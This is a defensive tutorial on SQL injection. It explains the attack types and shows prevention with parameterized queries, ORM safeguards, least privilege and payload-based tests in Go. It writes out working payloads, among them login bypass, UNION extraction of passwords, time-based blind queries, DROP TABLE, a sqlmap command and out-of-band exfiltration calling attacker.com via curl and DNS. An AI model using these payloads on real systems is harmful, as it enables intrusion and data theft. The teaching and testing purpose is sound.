SQL Injection #
SQL Injection is a security vulnerability known since the late 1990s — and it still consistently appears in the OWASP Top 10 today. Not because the technique is sophisticated or hard to detect, but precisely because it’s very easy to perform, very destructive, and very easy to prevent yet still frequently happens.
What makes SQL Injection different from most vulnerabilities is its scale. A bad performance bug slows down one endpoint. A logic bug breaks one feature. But one SQL Injection point can give attackers access to the entire database — every table, every piece of data, every user. Not one compromised account, but millions at once. And it can happen within minutes using automated tools like sqlmap.
Understanding SQL Injection deeply means understanding why string concatenation into SQL queries is unjustifiable under any circumstances — and what the correct way to construct database queries without opening this hole is.
How SQL Injection Works #
To understand SQL Injection, you first need to understand how databases execute queries. When an application sends a query to the database, the database receives it as one text string that gets parsed to separate what’s “query structure” from what’s “data”. The problem: when developers build queries with string concatenation, the boundary between structure and data becomes ambiguous.
Without SQL Injection — the expected query:
Email input: "[email protected]"
Query built: SELECT * FROM users WHERE email = '[email protected]'
Database parsing:
├── Structure : SELECT * FROM users WHERE email = [condition]
└── Data : '[email protected]'
The database looks for a user with email [email protected] — normal.
With SQL Injection — the query that actually happens:
Email input: "' OR '1'='1' --"
Query built: SELECT * FROM users WHERE email = '' OR '1'='1' --'
Database parsing:
├── Structure : SELECT * FROM users WHERE email = '' OR '1'='1'
│ (-- is a comment, the rest of the query is ignored)
└── Data : none — everything became structure!
The OR '1'='1' condition is always true → all rows are returned.
Login succeeds without valid credentials.
The key to this attack: the attacker managed to change the query structure, not just its values. The single quote (') is the character that “escapes” the data context and enters the SQL context — and that’s what enables manipulation.
flowchart TD
A[User sends input] --> B{Application builds the query}
B --> |String concatenation| C[Input inserted directly into the query]
C --> D{Input contains SQL characters?}
D --> |No| E[Query runs normally]
D --> |Yes: quotes, --, UNION, etc.| F[Query structure changes]
F --> G[Database executes the manipulated query]
G --> H["Data leak / login bypass / data destruction"]
B --> |Parameterized query| I[Input treated as pure data]
I --> EThe Three Types of SQL Injection #
1. In-Band SQL Injection (Classic) #
Attack results are directly visible in HTTP responses. This is the easiest to exploit because attackers get immediate feedback.
Error-based SQLi exploits database error messages appearing in responses:
-- Input sent by the attacker:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
-- The error appearing in the response:
-- XPATH syntax error: '~8.0.32-MySQL Community Server'
-- The attacker just got the MySQL version from the error message!
-- From here they know which exploits can be used.
Union-based SQLi uses UNION to combine additional query results:
-- Initial input to discover the column count:
' ORDER BY 1 -- → no error
' ORDER BY 2 -- → no error
' ORDER BY 3 -- → error → the original query has 2 columns
-- Once the 2 columns are known, use UNION:
' UNION SELECT username, password FROM users --
-- The executed query:
SELECT product_name, price FROM products WHERE id = ''
UNION
SELECT username, password FROM users --'
-- The response displays usernames and passwords from the users table!
2. Blind SQL Injection #
Responses don’t display data directly, but attackers can still extract information through inference.
Boolean-based Blind SQLi — attackers ask yes/no questions through application behavior changes:
-- Question: is the first character of the database name 'a'?
-- Input:
' AND SUBSTRING(database(), 1, 1) = 'a' --
-- If the page changes (different response/status) → condition TRUE
-- If the page stays the same → condition FALSE
-- With 26 alphabet characters and binary search:
-- An 8-character database name can be found in ~40 requests
Time-based Blind SQLi — attackers use delays to extract information:
-- If the response delays ~5 seconds, the condition is TRUE
-- MySQL input:
' AND IF(SUBSTRING(database(), 1, 1) = 's', SLEEP(5), 0) --
-- PostgreSQL input:
'; SELECT CASE WHEN (SUBSTRING(current_database(), 1, 1) = 's')
THEN pg_sleep(5) ELSE pg_sleep(0) END --
-- Automated tools like sqlmap can extract entire databases
-- within hours using this technique, even without any error messages
How effective blind time-based SQLi is with binary search:
Target: an 8-character database name
Binary search per character: ~7 requests (log₂ 256 for ASCII)
Total requests for the database name: 8 × 7 = ~56 requests
With sqlmap --level=3 at 10 req/sec:
→ Database name in ~6 seconds
→ The entire database schema in minutes
→ The users table contents (1 million rows) in a few hours
3. Out-of-Band SQL Injection #
Data is extracted through a different communication channel — usually DNS lookups or HTTP requests to attacker-controlled servers. This is used when in-band and blind techniques are ineffective because application responses don’t reflect query results.
-- MySQL: extract data via DNS lookups (if the server has outbound DNS access)
' AND LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1),
'.attacker.com\\file')) --
-- PostgreSQL: extract data via HTTP (if dblink is available)
'; COPY (SELECT password FROM users LIMIT 1) TO PROGRAM
'curl http://attacker.com/?data=' --
Out-of-band SQLi succeeds less often because it requires specific database configurations, but this demonstration shows that SQL Injection isn’t only about SELECT queries — databases with network capabilities can become very effective data exfiltration vectors.
Why SQL Injection Still Happens in 2025 #
After more than 25 years of being known, SQL Injection is still in the OWASP Top 10. Several recurring patterns explain it:
Patterns keeping SQL Injection alive:
1. Legacy code written before parameterized queries became standard
→ Thousands of concatenated query lines that "work" and are never touched
2. "ORMs are safe, no need to worry"
→ ORMs are safe for standard operations, but developers often use
raw queries for special cases without realizing they're opening holes
3. Dynamic queries for columns or tables
→ Parameterized queries can't parameterize column or table names
→ Developers build this dynamism with concatenation
4. Deadline pressure
→ "We'll fix it when there's time" — which never comes
5. A false sense of security from WAFs
→ WAFs can be bypassed — they're not a replacement for parameterized queries
6. Incomplete input filtering
→ Removing single quotes isn't enough because there are
encoding tricks and different contexts
The Main Solution: Parameterized Queries #
Parameterized queries — also called prepared statements — are the solution that genuinely solves SQL Injection, not just mitigates it. How it works: the query structure is sent to the database separately from the data. The database parses the query structure first, then inserts the data as literal values. User input can never change the query structure because it’s never concatenated into the query string.
// Go with database/sql (PostgreSQL)
// ANTI-PATTERN: direct concatenation
func getUserUnsafe(email string) (*User, error) {
query := "SELECT * FROM users WHERE email = '" + email + "'"
row := db.QueryRow(query)
// ...
}
// CORRECT: parameterized query with the ? placeholder
func getUserSafe(email string) (*User, error) {
query := "SELECT id, name, email FROM users WHERE email = ?"
row := db.QueryRow(query, email) // email is treated as pure data
var user User
err := row.Scan(&user.ID, &user.Name, &user.Email)
return &user, err
}
// CORRECT: multiple parameters
func searchOrdersSafe(userID string, status string, minAmount float64) ([]Order, error) {
query := `
SELECT id, total, status, created_at
FROM orders
WHERE user_id = ? AND status = ? AND total >= ?
ORDER BY created_at DESC`
rows, err := db.Query(query, userID, status, minAmount)
if err != nil {
return nil, err
}
defer rows.Close()
// Scan each row into an Order...
return orders, nil
}
// Go with database/sql
// ANTI-PATTERN
func getUserUnsafe(email string) (*User, error) {
query := "SELECT * FROM users WHERE email = '" + email + "'"
row := db.QueryRow(query)
// ...
}
// CORRECT: ? placeholder for parameterized queries
func getUserSafe(email string) (*User, error) {
query := "SELECT id, name, email FROM users WHERE email = ?"
row := db.QueryRow(query, email)
var user User
err := row.Scan(&user.ID, &user.Name, &user.Email)
return &user, err
}
// Go with database/sql
// ANTI-PATTERN
query := "SELECT * FROM users WHERE email = '" + email + "'"
row := db.QueryRow(query)
// CORRECT: ? placeholder for parameterized queries
query := "SELECT * FROM users WHERE email = ?"
row := db.QueryRow(query, email) // first parameter (1-indexed)
ORMs Are Not an Absolute Guarantee #
ORMs like SQLAlchemy, Hibernate, Eloquent, and GORM use parameterized queries by default for standard operations — but there are several paths that can still open SQLi holes even with an ORM.
// Go with GORM — safe for standard operations
// SAFE: GORM generates parameterized queries automatically
var user User
db.Where("email = ?", email).First(&user)
// Generated query: SELECT * FROM users WHERE email = ? [with parameters]
// ✗ ANTI-PATTERN: building raw SQL with string concatenation
// DANGEROUS: fmt.Sprintf inside db.Raw()
query := fmt.Sprintf("SELECT * FROM users WHERE email = '%s'", email)
db.Raw(query).Scan(&user)
// CORRECT: Raw with bind parameters
db.Raw("SELECT * FROM users WHERE email = ?", email).Scan(&user)
// ✗ ANTI-PATTERN: dynamic ORDER BY without whitelisting
// ORDER BY can't be parameterized
sortColumn := r.URL.Query().Get("sort")
db.Order(sortColumn).Find(&orders)
// If sortColumn = "id; DROP TABLE orders--", a dangerous query executes!
// CORRECT: whitelist the columns allowed for sorting
allowedSortColumns := map[string]bool{"created_at": true, "total": true, "status": true, "id": true}
sortColumn := r.URL.Query().Get("sort")
if !allowedSortColumns[sortColumn] {
sortColumn = "created_at" // safe default
}
db.Order(sortColumn).Find(&orders)
// Now safe because only whitelisted values can get in
Safe Dynamic Queries #
There are scenarios where queries genuinely must be built dynamically — optional filters, user-selectable sorting, or searches with many parameters. The safe way is building conditions programmatically and always using parameter binding for values.
// Go — building a safe dynamic WHERE clause
func searchProducts(filters map[string]interface{}) ([]Product, error) {
// Each condition is built separately from its value
conditions := []string{}
params := []interface{}{}
if categoryID, ok := filters["category_id"]; ok {
conditions = append(conditions, "category_id = ?")
params = append(params, categoryID)
}
if minPrice, ok := filters["min_price"]; ok {
conditions = append(conditions, "price >= ?")
params = append(params, minPrice)
}
if maxPrice, ok := filters["max_price"]; ok {
conditions = append(conditions, "price <= ?")
params = append(params, maxPrice)
}
if inStock, ok := filters["in_stock"]; ok && inStock.(bool) {
conditions = append(conditions, "stock > 0") // no parameter, but not user input
}
if search, ok := filters["search"]; ok {
conditions = append(conditions, "name LIKE ?")
params = append(params, "%"+search.(string)+"%") // the value is bound as a parameter
}
// Assemble the query — only conditions and column names are built dynamically,
// not values. Values ALWAYS go through binding.
whereClause := "1=1"
if len(conditions) > 0 {
whereClause = strings.Join(conditions, " AND ")
}
query := "SELECT * FROM products WHERE " + whereClause
return db.Query(query, params...)
}
Defense in Depth: Additional Protection Layers #
Parameterized queries are the primary protection and can’t be replaced. But defense in depth adds protection layers that minimize the impact if a hole slips through.
Least Privilege for Database Users #
If SQL injection succeeds, the database user’s access level determines how much damage can be done.
-- ANTI-PATTERN: the application uses root or superuser
-- If SQLi succeeds: the attacker can DROP, ALTER, CREATE, FILE, etc.
-- CORRECT: create a user with minimal privileges
-- User for normal application operations (read + write):
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_random_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON myapp.* TO 'app_user'@'localhost';
-- User for migration operations only (used by CI/CD, not the application):
CREATE USER 'migration_user'@'localhost' IDENTIFIED BY 'different_strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, ALTER, DROP
ON myapp.* TO 'migration_user'@'localhost';
-- Nobody needs FILE, SUPER, or GRANT OPTION in a regular application
FLUSH PRIVILEGES;
-- With least privilege:
-- SQLi using SELECT → can read data (still serious)
-- SQLi trying to DROP TABLE → fails (no permission)
-- SQLi trying FILE (to read /etc/passwd) → fails
Error Handling That Doesn’t Leak Information #
// Go — net/http
// ANTI-PATTERN: database errors shown directly to users
func searchHandler(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("q")
results, err := db.Query(fmt.Sprintf(
"SELECT * FROM products WHERE name LIKE '%%%s%%'", query))
if err != nil {
// The attacker gets confirmation that SQLi worked
// and query structure details
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
// ...
}
// CORRECT: log errors internally, show generic messages to users
func searchHandler(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("q")
// Parameterized query — no SQLi
results, err := db.Query(
"SELECT id, name, price FROM products WHERE name LIKE ?",
"%"+query+"%")
if err != nil {
// Log details for internal debugging
log.Printf("Database error in search: %v (query: %s)", err, query)
// Show a generic message to users — no technical information
http.Error(w, "An error occurred. Please try again.",
http.StatusInternalServerError)
return
}
// ...
}
Detecting and Testing SQL Injection #
Knowing how attackers test applications helps developers write effective tests.
Standard payloads for SQLi testing (use only on your own applications):
Basic detection:
' → check for SQL errors
'' → escaped double quote test
` → backtick for MySQL
; → statement terminator
Authentication bypass:
' OR '1'='1 → classic bypass
' OR 1=1 -- → with a comment
admin'-- → login form bypass
' OR 'x'='x → variation
UNION-based:
' UNION SELECT NULL --
' UNION SELECT NULL, NULL -- → find the column count
Time-based blind:
' AND SLEEP(5) -- → MySQL
'; SELECT pg_sleep(5) -- → PostgreSQL
Automated: sqlmap -u "http://target/search?q=test" --level=3
// Go — testing with the net/http/httptest package
func TestSearchNotVulnerableToSQLi(t *testing.T) {
sqliPayloads := []string{
"' OR '1'='1",
"'; DROP TABLE products; --",
"' UNION SELECT username, password FROM users --",
"1' AND SLEEP(5) --",
}
sqlErrorIndicators := []string{
"syntax error", "mysql_fetch", "sql syntax",
"ora-01756", "unterminated string", "pg_query",
}
for _, payload := range sqliPayloads {
resp := client.Get("/search?q=" + url.QueryEscape(payload))
// The endpoint must keep returning normal responses (not SQL errors)
if resp.StatusCode != 200 && resp.StatusCode != 404 {
t.Fatalf("Unexpected status %d for payload: %s", resp.StatusCode, payload)
}
// No SQL information may appear in the response
body, _ := io.ReadAll(resp.Body)
responseText := strings.ToLower(string(body))
for _, indicator := range sqlErrorIndicators {
if strings.Contains(responseText, indicator) {
t.Fatalf("SQL error indicator found: %s for payload: %s", indicator, payload)
}
}
// No data from other tables may appear
if strings.Contains(responseText, "password") || strings.Contains(responseText, "username") {
t.Fatalf("Sensitive data leaked for payload: %s", payload)
}
}
}
Anti-Patterns to Avoid #
// ✗ Anti-pattern 1: string formatting/concatenation into queries
var query string
query = fmt.Sprintf("SELECT * FROM orders WHERE user_id = %d", userID)
query = fmt.Sprintf("SELECT * FROM users WHERE email = '%s'", email)
query = "SELECT * FROM products WHERE name = '" + name + "'"
// ✗ Anti-pattern 2: manual sanitization as the only protection
func safeQuery(email string) string {
email = strings.ReplaceAll(email, "'", "''") // escape single quotes
query := fmt.Sprintf("SELECT * FROM users WHERE email = '%s'", email)
// This isn't enough — there are encoding tricks and other contexts not handled
return query
}
// ✗ Anti-pattern 3: assuming input validation is sufficient
func processInput(userID string) {
if !isDigits(userID) {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
// userID is digits only, but still concatenated — not a universal solution
query := fmt.Sprintf("SELECT * FROM users WHERE id = %s", userID)
}
// ✗ Anti-pattern 4: dynamic table/column names from users without whitelists
sortBy := r.URL.Query().Get("sort")
query := fmt.Sprintf("SELECT * FROM orders ORDER BY %s", sortBy) // dangerous
// ✓ Solution for all the cases above:
// Values → parameterized queries
// Table/column names → explicit whitelists, never directly from users
SQL Injection Prevention Checklist #
QUERY CONSTRUCTION:
□ All database queries use parameterized queries / prepared statements
□ No string concatenation or f-strings with user input into queries
□ Dynamic ORDER BY / GROUP BY uses whitelisted columns
□ Dynamic table names use whitelists, never directly from users
ORM USAGE:
□ Raw queries in ORMs use parameter binding, not string formatting
□ filter() and where() use object columns, not user-supplied strings
□ All text() / raw() usage points specifically reviewed
DATABASE CONFIGURATION:
□ The application uses a database user with minimal privileges (not root)
□ Application users lack DROP, ALTER, CREATE, FILE privileges
□ Migration users separated from runtime users
□ SQL errors don't appear in user-received responses
TESTING:
□ Unit tests with SQLi payloads exist for input-receiving endpoints
□ Security testing (DAST) done periodically
□ Code reviews examine all query construction points
MONITORING:
□ Logs record query errors (internal only, not to users)
□ Alerts installed for anomalies: many query errors in a short time
□ WAF as an additional layer (not a parameterized query replacement)
Summary #
- Parameterized queries are the only correct solution — input sanitization and escaping aren’t enough because of unhandled contexts and encodings. Parameterized queries fundamentally separate query structure from data.
- String concatenation into SQL queries is unjustifiable under any circumstances — no legitimate use case requires concatenating user input directly into query strings.
- ORMs aren’t an absolute guarantee — raw queries, text() functions, and dynamic column/table names can still open SQLi holes even with ORMs.
- Dynamic ORDER BY and table names can’t be parameterized — use explicit whitelists for sortable columns, never accept column or table names from users without whitelists.
- Three SQLi types with different impacts — in-band (directly visible in responses), blind boolean/time-based (needs inference), and out-of-band (through other channels). Parameterized queries prevent all three.
- Least privilege database users minimize impact — if SQLi succeeds, an application user with only SELECT can’t DROP or execute files.
- SQL errors must never be visible to users — every error message containing database information (table names, query structure, DB versions) is valuable information for attackers.
- WAFs are an additional layer, not a replacement — WAFs can be bypassed with encoding tricks. Don’t rely on a WAF as the only protection.
- Automated tools make SQLi easy to exploit — sqlmap can extract entire database schemas within minutes. One vulnerable point = the entire database exposed.
- Unit tests with SQLi payloads are a small investment with huge value — a few test lines trying payloads like
' OR '1'='1 can prevent incidents worth millions.
#
- Parameterized queries are the only correct solution — input sanitization and escaping aren’t enough because of unhandled contexts and encodings. Parameterized queries fundamentally separate query structure from data.
- String concatenation into SQL queries is unjustifiable under any circumstances — no legitimate use case requires concatenating user input directly into query strings.
- ORMs aren’t an absolute guarantee — raw queries, text() functions, and dynamic column/table names can still open SQLi holes even with ORMs.
- Dynamic ORDER BY and table names can’t be parameterized — use explicit whitelists for sortable columns, never accept column or table names from users without whitelists.
- Three SQLi types with different impacts — in-band (directly visible in responses), blind boolean/time-based (needs inference), and out-of-band (through other channels). Parameterized queries prevent all three.
- Least privilege database users minimize impact — if SQLi succeeds, an application user with only SELECT can’t DROP or execute files.
- SQL errors must never be visible to users — every error message containing database information (table names, query structure, DB versions) is valuable information for attackers.
- WAFs are an additional layer, not a replacement — WAFs can be bypassed with encoding tricks. Don’t rely on a WAF as the only protection.
- Automated tools make SQLi easy to exploit — sqlmap can extract entire database schemas within minutes. One vulnerable point = the entire database exposed.
- Unit tests with SQLi payloads are a small investment with huge value — a few test lines trying payloads like
' OR '1'='1can prevent incidents worth millions.